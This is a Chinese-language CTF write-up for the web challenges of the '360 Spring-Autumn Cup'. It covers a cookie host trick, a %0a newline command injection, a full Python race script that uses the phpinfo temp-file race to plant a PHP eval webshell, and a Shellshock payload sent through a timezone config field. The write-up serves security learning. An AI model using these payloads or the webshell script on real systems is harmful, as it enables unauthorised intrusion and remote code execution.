“360春秋杯”線上賽 web Writeup
新博客地址:http://bendawang.site/article/360%E6%98%A5%E7%A7%8B%E6%9D%AF-%E7%BA%BF%E4%B8%8A%E8%B5%9B-web-Writeup
where is my cat
進去之後抓包發現cookie裏面有個可疑的host=0,想辦法瞎改了半天沒動靜,後來師傅說改成證書host就好了,然後看了看證書
把cookie裏面的host改成這個where_is_my_cat.ichunqiu.com
就拿到flag了。
寫一寫 看一看
進去之後掃到個index.txt
,知道了有個exec.php
,訪問拿到源碼如下:
<?php
highlight_file(__FILE__);
$dir = 'tmp/';
if(!file_exists($dir))
mkdir($dir);
chdir($dir);
if(!isset($_GET['shell'])){
phpinfo();
exit();
}
$shell = $_GET['shell'];
for ( $i=0; $i<count($shell); $i++ ){
if ( !preg_match('/^\w+$/', $shell[$i]) )
exit();
}
session_start();
$path = $_SESSION['path'];
$shell = str_replace('path','/'.$path,implode(" ",$shell));
echo $shell;
exec("/bin/hence " . $shell);
?>
根據這篇文章https://github.com/p4-team/ctf/tree/master/2015-10-18-hitcon/web_100_babyfirst
知道我們可以通過%0a
繞過正則執行自己的命令,但是問題來了,本題目的服務器無法連接外網,就沒有辦法wget之類的,也就是我們得想辦法在服務器上完成一切操作,但是我們可以執行php命令,加上有一個phpinfo()
,根據http://www.freebuf.com/articles/web/79830.html
的思路,我們可以類推,如果我們知道臨時文件名/tmp/xxxxxxxx
,那麼我們就可以調用php命令去執行他,比如我的臨時文件裏面的內容
<?php fputs(fopen('/var/www/html/tmp/bendawang/bendawang.php',"w"),"<?php eval($_POST[a]);?>")?>
我用php命令執行它,就會在/var/www/html/tmp/bendawang
目錄下生成一個webshell
,就算成功了,但是由於exec.php
的工作目錄切換到了/var/www/html/tmp
,所以我們要先建立一個文件夾,當然也可以不用,只是爲了防止別人輕易拿到你這個webshell.php
http://106.75.34.78:2081/exec.php?shell[]=bdw%0a&shell[]=mkdir&shell[]=bendawang
建好文件夾,然後直接借用
http://www.voidcn.com/blog/hxsstar/article/p-2897846.html
所給的腳本修改如下:
#!/usr/bin/env python
# encoding=utf-8
# Author : idwar
# http://secer.org
'''
可能需要你改的幾個地方:
1、host
2、port
3、request中的phpinfo頁面名字及路徑
4、hello_lfi() 函數中的url,即存在lfi的頁面和參數
5、如果不成功或報錯,嘗試增加padding長度到7000、8000試試
6、某些開了magic_quotes_gpc或者其他東西不能%00的,自行想辦法截斷並在(4)的位置對應修改
Good Luck :)
'''
import re
import urllib2
import hashlib
from socket import *
from time import sleep
import threading
host = '106.75.34.78'
#host = gethostbyname(domain)
port = 2081
shell_name = 'bendawang.php'
pattern = re.compile(r'''\[tmp_name\]\s=>\s(.*)\W*error]''')
payload = '''idwar<?php fputs(fopen('/var/www/html/tmp/bendawang/''' + shell_name + '''\',"w"),"idwar was here<?php eval(\$_POST[a]);?>")?>\r'''
req = '''-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r''' % payload
padding='A' * 8000
request='''POST /exec.php?a='''+padding+''' HTTP/1.0\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie='''+padding+'''\r
HTTP_ACCEPT: ''' + padding + '''\r
HTTP_USER_AGENT: ''' + padding + '''\r
HTTP_ACCEPT_LANGUAGE: ''' + padding + '''\r
HTTP_PRAGMA: ''' + padding + '''\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s''' % (len(req), host, req)
def hello_lfi():
while 1:
s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
s.send(request)
data = ''
while r'</body></html>' not in data:
data = s.recv(9999)
#print data
search_ = re.search(pattern, data)
if search_:
tmp_file_name = search_.group(1).replace("/","path")
print tmp_file_name
url = r'http://106.75.34.78:2081/exec.php?shell[]=bdw%0a&shell[]=php&shell[]=' + tmp_file_name
print url
search_request = urllib2.Request(url)
search_response = urllib2.urlopen(search_request)
html_data = search_response.read()
if 'idwar' in html_data:
s.close()
return '\nDone. Your webshell is : \n\n%s\n' % ('http://' + host + '/' + shell_name)
#import sys;sys.exit()
s.close()
if __name__ == '__main__':
for i in xrange(40):
t1 = threading.Thread(target=hello_lfi, args=()) # 一個線程上傳
t1.start()
print i
print '\n Good Luck :)'
由於服務器太差了,跑了很久才成功,而且第二天想要再重跑的時候已經跑不成功了,附上最後的flag截圖
首先用admin admin
登陸進去系統,後來掃了掃目錄發現了一個web.tar.gz
,把源碼down下來,審了好久,發現幾乎不可能有sql注入點,不過config.php
裏面的這個地方有點可疑
if(ini_get('register_globals')){
foreach($_REQUEST as $k=>$v) unset(${$k});
}
但是就算變量覆蓋也沒找到地方,而且這裏我們目錄下掃到了一個flag.php
,也就是說flag必然不會在數據庫裏面,後來懷疑是這裏send.php
下的這裏
$to = $row['email'];
$subject = $row['title'];
$message = $row['content'];
$from = getConfig('send_mail');
$headers = "From: $from";
mail($to,$subject,$message,$headers);
會不會有phpmailer
的命令執行,但是我們知道那個命令執行是在mail()
的第五個參數上面,也就是失敗了,後來看到這裏,在config.php
下面有個
$timezone = getConfig('timezone');
if($timezone != "")
{
putenv("TZ=$timezone");
}else{
putenv("TZ=Asia/Shanghai");
}
然後猜測是不是破殼漏洞,然後看到了option.php
下面是這樣子的
<?php
include 'inc/function.php';
include 'inc/config.php';
if($_GET['action']== 'save')
{
$config = $_POST['config'];
saveConfig($config);
die("<script>alert('保存成功!');history.go(-1);</script>");
}
?>
也就是說我們可以控制config的所有內容,即我們可以控制$timezone
變量,然後嘗試是不是破殼漏洞,最後向options.php
發送的payload
如下:
config[root_path]=/var/www/html&config[send_mail][email protected]&config[timezone]=() { :;}; /bin/cat /var/www/html/flag.php > /var/www/html/upload/bendawang.txt
截圖如下: